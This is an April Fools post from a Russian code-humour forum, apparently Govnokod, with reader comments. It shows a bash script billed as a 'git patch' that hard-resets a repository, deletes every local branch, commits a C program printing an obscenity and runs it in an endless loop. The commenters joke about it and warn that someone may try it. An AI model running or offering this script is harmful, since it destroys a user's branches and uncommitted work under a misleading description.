- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
#!/bin/bash
git reset --hard
git checkout --orphan temp
git branch > branches
branch_list=()
while read LINE;
do
branch_list+=("$LINE");
done < branches
for str in "${branch_list[@]}";
do
[ "$str" == "* temp" ] && break
git branch -D "$str"
done
git checkout -b master
git branch -D temp
printf "#include \"stdio.h\" \n\n int main(void)\n{\n\tprintf(\"Ebat' ti loh\");\n\treturn 0;\n}" > main.c
git add main.c
git commit -am "pobeditel' po jizni"
gcc --std=gnu89 main.c -o out.o
while :
do
./out.o
printf "\n"
done
Вышел патч для git. Добавляешь в репо с проектом и запускаешь.
патч чистит всё говно, что найдет.
Навеяно комментом @kerman из Говнокод #19735
Elvenfighter 01.04.2016 19:23 # 0
bormand 01.04.2016 20:15 # +3
MiD 01.04.2016 21:44 # 0
А ветки тоже удалятся?
wvxvw 01.04.2016 21:52 # +1
bormand 02.04.2016 06:15 # +1
Ты с этим осторожней, а то ещё попробуют...
wvxvw 01.04.2016 21:50 # +3
3_14dar 01.04.2016 23:55 # 0
guest 02.04.2016 01:58 # +1
он просто опечатался
блядь, если бы он написал
было бы не магично?
bormand 02.04.2016 06:06 # +2
3_14dar 01.04.2016 23:53 # +1
Шта?
gost 02.04.2016 13:42 # 0
bormand 02.04.2016 16:01 # +1
З.Ы. Все гитовые репы на диске вроде как выживут.
inkanus-gray 02.04.2016 16:16 # 0
bormand 02.04.2016 16:26 # +1
Считает. И не удаляет: Причём внутри того репозитория даже untracked файлы выжили.
gost 02.04.2016 17:40 # +3